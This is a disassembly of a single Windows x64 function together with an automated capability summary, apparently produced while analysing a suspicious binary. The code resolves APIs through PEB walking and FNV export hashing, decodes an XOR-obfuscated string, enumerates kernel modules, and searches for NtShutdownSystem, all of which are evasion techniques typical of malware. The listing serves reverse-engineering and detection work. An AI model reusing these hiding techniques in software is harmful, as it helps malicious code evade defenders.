Function at 0x14004b420
Capabilities:
Access peb ldr_data
Create thread
Encode data using xor
Get system information on windows
Hash data using fnv
Make suspicious ntquerysysteminformation call
Parse pe header
Query environment variable
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x100
movaps xmmword [rax - 0x38], xmm6
mov rax, qword [0x14010f080]
xor rax, rsp
mov qword [rbp + 0x17], rax
mov r15, rcx
mov qword [rsp + 0x30], rcx
mov rax, qword [0x1401d53f0]
test rax, rax
jne 0x14004beb9
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
mov rax, qword [rdx + 0x10]
mov r11, qword [rax]
mov rdi, r11
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004b507
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004b507
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0x7b2e7fb3
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004b502
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004b4e0
cmp ecx, 0x89d3776
je 0x14004b86e
test r8d, r8d
jne 0x14004b4c0
mov r11, qword [r11]
cmp r11, rdi
je 0x14004b51a
cmp qword [r11 + 0x30], 0
jne 0x14004b490
xor r10d, r10d
movabs r14, 0x4a38765637953d9b
mov qword [rbp - 0x59], r14
mov rax, qword [rbp - 0x59]
mov qword [rsp + 0x40], rax
movabs rsi, 0x3866a4e08ce5e2c8
mov qword [rbp - 0x59], rsi
mov rax, qword [rbp - 0x59]
mov qword [rsp + 0x48], rax
movabs rdi, 0x2656043d44fa49f5
mov qword [rbp - 0x59], rdi
mov rax, qword [rbp - 0x59]
mov qword [rbp - 0x29], rax
movabs rbx, 0x3866a4e0e99d87e6
mov qword [rbp - 0x59], rbx
mov rax, qword [rbp - 0x59]
mov qword [rbp - 0x21], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rsp + 0x40], xmm0
xor edx, edx
mov r8d, 1
lea rcx, [rsp + 0x40]
call r10
mov qword [0x1401d55d0], rax
mov qword [rbp - 0x59], r14
mov rax, qword [rbp - 0x59]
mov qword [rsp + 0x40], rax
mov qword [rbp - 0x59], rsi
mov rax, qword [rbp - 0x59]
mov qword [rsp + 0x48], rax
mov qword [rbp - 0x59], rdi
mov rax, qword [rbp - 0x59]
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x59], rbx
mov rax, qword [rbp - 0x59]
mov qword [rbp - 0x21], rax
movdqa xmm0, xmmword [rsp + 0x40]
xorps xmm0, xmmword [rbp - 0x29]
movdqa xmmword [rsp + 0x40], xmm0
xor esi, esi
mov qword [rbp - 0x59], rsi
mov dword [rbp - 0x51], esi
lea r9, [rbp - 0x51]
xor r8d, r8d
xor edx, edx
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x14004b7a7
nop dword [rax + rax]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdi, r11
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004b6a7
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004b6a7
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0x981cd6a7
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004b6a2
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004b680
cmp ecx, 0xe0d1ab98
je 0x14004b88d
test r8d, r8d
jne 0x14004b660
mov r11, qword [r11]
cmp r11, rdi
je 0x14004b6ba
cmp qword [r11 + 0x30], 0
jne 0x14004b630
xor eax, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call rax
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdi, r11
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004b757
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004b757
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov eax, dword [rcx + rbx]
add rax, r9
mov edx, 0xa9ea02
movzx ecx, byte [rax]
inc rax
test cl, cl
je 0x14004b752
nop dword [rax]
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
movzx ecx, byte [rax]
lea rax, [rax + 1]
test cl, cl
jne 0x14004b730
cmp edx, 0xca3144fa
je 0x14004b8ab
test r8d, r8d
jne 0x14004b710
mov r11, qword [r11]
cmp r11, rdi
je 0x14004b76a
cmp qword [r11 + 0x30], 0
jne 0x14004b6e0
xor eax, eax
mov edx, dword [rbp - 0x51]
xor ecx, ecx
mov r9d, 4
mov r8d, 0x3000
call rax
mov rsi, rax
lea r9, [rbp - 0x51]
mov r8d, dword [rbp - 0x51]
mov rdx, rax
mov ecx, ntohl
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
je 0x14004b610
mov qword [rbp - 0x59], rsi
test eax, eax
jns 0x14004b8f4
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdi, r11
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004b847
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004b847
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0xaee63419
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004b842
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004b820
cmp ecx, 0xeea15fd6
je 0x14004b8c9
test r8d, r8d
jne 0x14004b800
mov r11, qword [r11]
cmp r11, rdi
je 0x14004b85a
cmp qword [r11 + 0x30], 0
jne 0x14004b7d0
xor eax, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call rax
jmp 0x14004bb4e
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov r10d, dword [rdx + rcx*4]
add r10, r9
jmp 0x14004b51d
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14004b6bc
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14004b76c
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call rax
jmp 0x14004bb4e
xor r15d, r15d
cmp dword [rsi], r15d
jbe 0x14004ba8d
mov r14d, 0x5a4d
nop word [rax + rax]
mov eax, r15d
imul rcx, rax, 0x128
lea rbx, [rsi + rcx]
movzx eax, word [rbx + 0x2e]
add rax, rsi
lea rdx, [rcx + 0x30]
add rdx, rax
lea rcx, [rbp - 9]
call fcn.140044e90
nop
lea rcx, [rbp - 9]
call fcn.140045570
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
jne 0x14004ba78
lea rdx, [rbx + 0x30]
lea rcx, [rbp - 0x29]
call fcn.140044e90
nop
lea rcx, str.SYSTEMROOT
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll_getenv]
mov rdx, rax
lea rcx, [rbp - 0x79]
call fcn.140044e90
nop
mov r8d, 1
lea rdx, [0x1400f9010]
mov rcx, rax
call fcn.140044ed0
mov rdi, rax
xor r8d, r8d
lea rdx, str.SystemRoot_
lea rcx, [rbp - 0x29]
call fcn.1400472a0
mov rsi, rax
mov rbx, qword [rdi + 0x10]
mov rcx, rdi
call fcn.140045570
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8d, recv
mov rdx, rsi
lea rcx, [rbp - 0x29]
call fcn.1400475f0
nop
lea rcx, [rbp - 0x79]
call fcn.140044e30
lea rcx, [rbp - 0x29]
call fcn.140045570
xor edx, edx
mov r8d, 1
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
cmp word [rax], r14w
jne 0x14004bd1f
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14004bd1f
mov ecx, dword [rax + rsi + 0x88]
test ecx, ecx
je 0x14004bd1f
mov r14d, dword [rcx + rsi + 0x1c]
lea r12, [rsi + r14]
mov ebx, dword [rcx + rsi + 0x20]
add rbx, rsi
mov r13d, dword [rcx + rsi + 0x24]
add r13, rsi
xor edi, edi
test r14d, r14d
je 0x14004ba65
mov edx, dword [rbx]
add rdx, rsi
lea rcx, str.NtShutdownSystem
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
je 0x14004bc22
inc edi
add rbx, 4
cmp edi, r14d
jb 0x14004ba41
lea rcx, [rbp - 0x29]
call fcn.140044e30
mov rsi, qword [rbp - 0x59]
mov r14d, 0x5a4d
lea rcx, [rbp - 9]
call fcn.140044e30
inc r15d
cmp r15d, dword [rsi]
jb 0x14004b910
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rdi, r11
nop dword [rax]
nop dword [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004bb27
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004bb27
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0x93135966
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004bb22
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004bb00
cmp ecx, 0x21ca427b
je 0x14004bd37
test r8d, r8d
jne 0x14004bae0
mov r11, qword [r11]
cmp r11, rdi
je 0x14004bb3a
cmp qword [r11 + 0x30], 0
jne 0x14004bab0
xor eax, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, rsi
call rax
mov r15, qword [rsp + 0x30]
xor edi, edi
mov dword [0x1401d55cc], edi
mov eax, 0xfff
and di, ax
mov word [0x1401d55c8], di
xor eax, eax
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x49], xmm1
mov qword [rbp - 0x39], rax
mov rbx, qword [0x1401d5530]
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], al
jne 0x14004bde3
lea rsi, [0x14004d230]
nop dword [rax]
movups xmm6, xmmword [rbx + 0x20]
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400d2a70
movdqa xmm0, xmm6
psrldq xmm0, 8
movq qword [rax], xmm0
movq qword [rax + 8], xmm6
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], rsi
mov qword [rbp - 0x59], rax
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x20], 0
mov r9, rax
lea r8, [0x14004eed0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14004bdcf
mov rdx, qword [rbp - 0x41]
cmp rdx, qword [rbp - 0x39]
je 0x14004bd55
xorps xmm0, xmm0
movaps xmm1, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x30], xmm0
movups xmmword [rdx], xmm1
mov rdi, qword [rbp - 0x41]
add rdi, 0x10
mov qword [rbp - 0x41], rdi
jmp 0x14004bd67
movsxd rax, edi
movzx ecx, word [r13 + rax*2]
mov edi, dword [r12 + rcx*4]
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r11, qword [rax]
mov rsi, r11
nop word [rax + rax]
mov r9, qword [r11 + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov r10d, dword [rax + r9 + 0x88]
add r10, r9
cmp r10, r9
je 0x14004bcc3
mov r8d, dword [r10 + 0x18]
test r8d, r8d
je 0x14004bcc3
mov ebx, dword [r10 + 0x20]
nop word [rax + rax]
dec r8d
lea rcx, [r9 + r8*4]
mov edx, dword [rcx + rbx]
add rdx, r9
mov ecx, 0x82afeea2
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14004bcbe
nop dword [rax]
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x14004bca0
cmp ecx, 0xb46b14e7
je 0x14004bd04
test r8d, r8d
jne 0x14004bc80
mov r11, qword [r11]
cmp r11, rsi
je 0x14004bcd6
cmp qword [r11 + 0x30], 0
jne 0x14004bc50
xor eax, eax
xor edx, edx
mov r8d, 0x8000
mov rcx, qword [rbp - 0x59]
call rax
nop
lea rcx, [rbp - 0x29]
call fcn.140044e30
nop
lea rcx, [rbp - 9]
call fcn.140044e30
mov r15, qword [rsp + 0x30]
jmp 0x14004bb50
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14004bcd8
lea rcx, [rbp - 0x29]
call fcn.140044e30
nop
lea rcx, [rbp - 9]
call fcn.140044e30
jmp 0x14004bb49
mov edx, dword [r10 + 0x1c]
add rdx, r9
mov ecx, dword [r10 + 0x24]
add rcx, r9
movzx ecx, word [rcx + r8*2]
mov eax, dword [rdx + rcx*4]
add rax, r9
jmp 0x14004bb3c
lea r8, [rsp + 0x30]
lea rcx, [rbp - 0x49]
call fcn.14004eca0
mov rdi, qword [rbp - 0x41]
cmp dword [rsp + 0x38], 0
jne 0x14004bdc8
mov rax, qword [rbx + 0x10]
cmp byte [rax + 0x19], 0
je 0x14004bd9a
mov rax, qword [rbx + 8]
cmp byte [rax + 0x19], 0
jne 0x14004bd95
cmp rbx, qword [rax + 0x10]
jne 0x14004bd95
mov rbx, rax
mov rax, qword [rax + 8]
cmp byte [rax + 0x19], 0
je 0x14004bd82
mov rbx, rax
jmp 0x14004bdbc
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
jne 0x14004bdbc
nop word [rax + rax]
mov rbx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x14004bdb0
cmp byte [rbx + 0x19], 0
je 0x14004bb90
jmp 0x14004bde7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov dword [rsp + 0x38], 0
mov ecx, 6
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
mov rdi, qword [rbp - 0x41]
mov rbx, qword [rbp - 0x49]
cmp rbx, rdi
je 0x14004be37
cmp dword [rbx + 8], 0
je 0x14004be9e
call qword [sym.imp.MSVCP140.dll__Thrd_id]
cmp dword [rbx + 8], eax
je 0x14004be92
movups xmm0, xmmword [rbx]
movaps xmmword [rbp - 0x29], xmm0
xor edx, edx
lea rcx, [rbp - 0x29]
call qword [sym.imp.MSVCP140.dll__Thrd_join]
test eax, eax
jne 0x14004be86
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
add rbx, 0x10
cmp rbx, rdi
jne 0x14004bdf0
mov rdi, qword [rbp - 0x41]
mov rbx, qword [rbp - 0x49]
test rbx, rbx
je 0x14004beb9
mov rax, rbx
cmp rbx, rdi
je 0x14004be53
cmp dword [rax + 8], 0
jne 0x14004beaa
add rax, 0x10
cmp rax, rdi
jne 0x14004be44
mov rdx, qword [rbp - 0x39]
sub rdx, rbx
and rdx, 0xfffffffffffffff0
mov rax, rbx
cmp rdx, 0x1000
jb 0x14004beb1
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004beb1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov ecx, 2
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 5
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov rcx, rbx
call fcn.1400d2750
mov rax, r15
mov rcx, qword [rbp + 0x17]
xor rcx, rsp
call fcn.1400d2300
lea r11, [rsp + 0x100]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret